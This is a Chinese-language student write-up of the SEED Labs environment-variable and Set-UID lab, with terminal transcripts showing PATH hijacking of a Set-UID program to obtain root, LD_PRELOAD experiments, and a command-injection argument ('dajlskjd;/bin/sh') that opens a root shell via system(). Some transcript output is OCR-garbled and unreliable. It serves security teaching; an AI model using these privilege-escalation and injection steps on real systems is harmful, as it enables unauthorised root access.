——"小心那些看不见的幽灵"

1. 实验准备

https://seedsecuritylabs.org/Labs 20.04/Software/Environment Variable and SetUID/ https://seedsecuritylabs.org/Labs 20.04/Files/Environment Variable and SetUID/Environment Variable and SetUID.pdf

2. 参考资料

https://web.ecs.syr.edu/~wedu/minix/projects/setuid_paper.pdf http://nob.cs.ucdavis.edu/~bishop/secprog/1987-sproglogin.pdf

- 3. 实验要求: https://seedsecuritylabs.org/Labs 20.04/Files/Environment Variable and SetUID/E nvironment Variable and SetUID.pdf
- 4. 实验过程
 - Task 1: Manipulating Environment Variables


```
Sep 30 08:34
     ın ▼
                                seed@VM: ~/.../Labsetup
                                                           a ≡
     [09/30/23]seed@VM:~/.../Labsetup$ env | grep_PWD
        =/home/seed/lab1/Labsetup
    0LD
          =/home/seed/lab1
     [09/30/23]seed@VM:~/.../Labsetup$ export PWD=/home/seed/
     [09/30/23]seed@VM:~/$ env | grep PWD
        =/home/seed/
    OLD
           =/home/seed/lab1
    [09/30/23]seed@VM:~/$ unset PWD
     [09/30/23]seed@VM:~/.../Labsetup$ env | grep PWD
    OLDPWD=/home/seed/lab1
```

- o Task 2: Passing Environment Variables from Parent Process to Child Process
 - fork() 不继承: PID、memory lock、timer、I/O operations、初始化 pending signals & resource utilizations
 - 子进程继承了父进程所有的环境变量,除了执行程序的路径不同(unset 对环境变量影响的作用域是:当前进程及其子进程)


```
[09/30/23]seed@VM:~/.../Labsetup$ vim myprintenv.c
[09/30/23]seed@VM:~/.../Labsetup$ gcc myprintenv.c -o myprintenv
[09/30/23]seed@VM:~/.../Labsetup$ ./myprintenv > env_output
[09/30/23]seed@VM:~/.../Labsetup$ diff env_output env_output2
47c47
< _=./myprintenv
---
> _=./myprintenv2
```

o Task 3: Environment Variables and execve()

■ 当前进程一般从 environ[] / envp[] 获取环境变量,一旦将 execve() 的第三个参数设置为 NULL ,打印环境变量为空。



- Task 4: Environment Variables and system()
 - system() 调用: execve() 将程序作为环境变量传递给 /bin/sh | /bin/bash 执行。dangerous!



■ 可以通过修改 envriomental variables 来影响程序的执行,尤其是程序以文件所有者 (root) 身份执行后,risk 深不可测。

```
[09/30/23]seed@VM:~/.../Labsetup$ export PATH=./
Command 'date' is available in the following places
 * /bin/date
 * /bin/date
The command could not be located because '/bin:/usr/bin' is not included in the PATH environment variable.
date: command not found
[]seed@VM:-/.../Labsetup$ export PATH=/home/root:/bin:/usr/bin
[09/30/23]seed@VM:-/.../Labsetup$ export LD_LIBRARY_PATH=/home/tmp/mallicious
[09/30/23]seed@VM:-/.../Labsetup$ export VERIFY=/home/rightnow
[09/30/23]seed@VM:-/.../Labsetup$ ./set_uid
```

[09/30/23]seed0Wi:-/.../Labsetup\$./set_uid | grep .f "PATH|LD_LIBRARY_PATH|VERIFY"

SHELL=/hin/hashESSISIN_MANGER=local/Wis0/tmp./ ICE-unix/1783_unix/VM./tmp/.ICE-unix/17830T_ACCESSIBILITY=LCOLORTERM=truecolorXDG_CONFIG_DIRS=
/etc/xdg/xdg-ubuntu-/etc/xdgX0G_NENU_PREFIX=gnome-GNOME_DESKTOP_SESSION_ID=this-is-deprecatedGNOME_SHELL_SESSION_MODE-ubuntuSSH_AUTH_SOCK=/Tun/ruser/1000/keyring/ssh/MODIFIERS=demi=sbushESKTOP_SESSION_bunturSH_ACM_MODIES=gail_stak_bridgePMD=/home/seed/sbit/Labsetup_LOMA
/ruser/1000/keyring/ssh/MODIFIERS=demi=sbushESKTOP_SESSION_bunturSH_ACM_MODIES=gail_stak_bridgePMD=/home/seed/sbit/Labsetup_LOMA
/ME-seedXDG_SESSION_DESKTOP=ubuntuXDG_SESSION_TPE=xilGRG_AGENT_INFO=/run/user/1000/gnupg/S_gpg_agent=0.1XAUTH0RITY=/run/user/1000/gnupg/S_gpg_agent=

- Task 6: The PATH Environment Variable and Set-UID Programs
 - 修改 PATH,添加恶意路径。

```
[09/30/23]seed@VM:~/.../Labsetup$ export PATH=/home/seed/lab1/Labse
tup:$PATH
[09/30/23]seed@VM:~/.../Labsetup$ env | grep PATH
WINDOWPATH=2
LD_LIBRARY_PATH=/home/tmp/mallicious
PATH=/home/seed/lab1/Labsetup:/home/root:/bin:/usr/bin
```

■ 鉴于 dash 的安全机制,自动放弃特权,将权限从文件所有者 → 实际执行者,故本攻击实验不成功(无法获得 root 权限),需要切换成有漏洞版本的 zsh。

```
[09/30/23]seed@VM:~/.../Labsetup$ ./ls_set_uid
seed
Hack for fun!
[09/30/23]seed@VM:~/.../Labsetup$ sudo chown root ls_set_uid
[09/30/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 ls_set_uid
[09/30/23]seed@VM:~/.../Labsetup$ ./ls_set_uid
seed
Hack for fun!
```

■ 切换有漏洞版本的 zsh 后,成功获取 root 权限。

```
[09/30/23]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
[09/30/23]seed@VM:~/.../Labsetup$ ./ls_set_uid
root
Hack for fun!
```

- Task 7: The LD PRELOAD Environment Variable and Set-UID Programs
 - 即使是 Set-UID 程序也不用直接影响 root 的环境变量,换一句话说,子进程并没有继承 LD_* 这一部分的环境变量。

```
[09/30/23]seed@VM:~/.../Labsetup$ gcc myprog.c -o myprog
[09/30/23]seed@VM:~/.../Labsetup$ ./myprog
I'm not sleeping!
[09/30/23]seed@VM:~/.../Labsetup$ sudo chown root myprog
[09/30/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[09/30/23]seed@VM:~/.../Labsetup$ ./myprog
[09/30/23]seed@VM:~/.../Labsetup$ su - root
```

```
root@VM:/home/seed/lab1# cd Labsetup/
root@VM:/home/seed/lab1/Labsetup# ls
                  ls_set_uid myprintenv
cap leak.c
                                            set uid.c
                  ls_set_uid.c myprintenv2
                                              verify system
catall.c
                               myprintenv.c verify system.c
env output
                  myenv
env output2
                  myenv.c
                                myprog
libmylib.so.1.0.1 mylib.c
                                myprog.c
                  mylib.o
root@VM:/home/seed/lab1/Labsetup# export LD PRELOAD=./libmylib.so.
1.0.1
root@VM:/home/seed/lab1/Labsetup# ./myprog
I'm not sleeping!
[09/30/23]seed@VM:~/.../Labsetup$ chown user1 myprog
chown: changing ownership of 'myprog': Operation not permitted
[09/30/23]seed@VM:~/.../Labsetup$ sudo chown user1 myprog
[09/30/23]seed@VM:~/.../Labsetup$ su - user1
Password:
su: warning: cannot change directory to /home/user1: No such file
r directory
$ export LD PRELOAD=./libmylib.so.1.0.1
$ exit
[09/30/23]seed@VM:~/.../Labsetup$ ./myprog
I'm not sleeping!
```

- Task 8: Invoking External Programs Using system() versus execve()
 - system() 实际上是先调用 shell,然后 shell 将传递的参数作为命令去解析它。只要在参数中加入";",便可以以 root 身份执行任意的命令。

```
[09/30/23]seed@VM:~/.../Labsetup$ vim catall.c
[09/30/23]seed@VM:~/.../Labsetup$ gcc catall.c -o catall
[09/30/23]seed@VM:~/.../Labsetup$ cat target_delete_file
It's for a test.
[09/30/23]seed@VM:~/.../Labsetup$ ./catall "dajlskjd;/bin/sh"
/bin/cat: dajlskjd: No such file or directory
$ cd /home/seed/lab1/Labsetup/
$ rm target_delete_file
$ cat target_delete_file
cat: target_delete_file: No such file or directory
```

■ execve() 会将传递的参数作为整体进行解析,使上述攻击方法失效。

```
[09/30/23]seed@VM:~/.../Labsetup$ vim catall.c
[09/30/23]seed@VM:~/.../Labsetup$ gcc catall.c -o catall
[09/30/23]seed@VM:~/.../Labsetup$ sudo chown root catall
[09/30/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall
[09/30/23]seed@VM:~/.../Labsetup$ ./catall "dajlskjd;/bin/sh"
/bin/cat: 'dajlskjd;/bin/sh': No such file or directory
```

- Task 9: Capability Leaking
 - 利用泄露的、有权限的文件描述符,进行越权写入。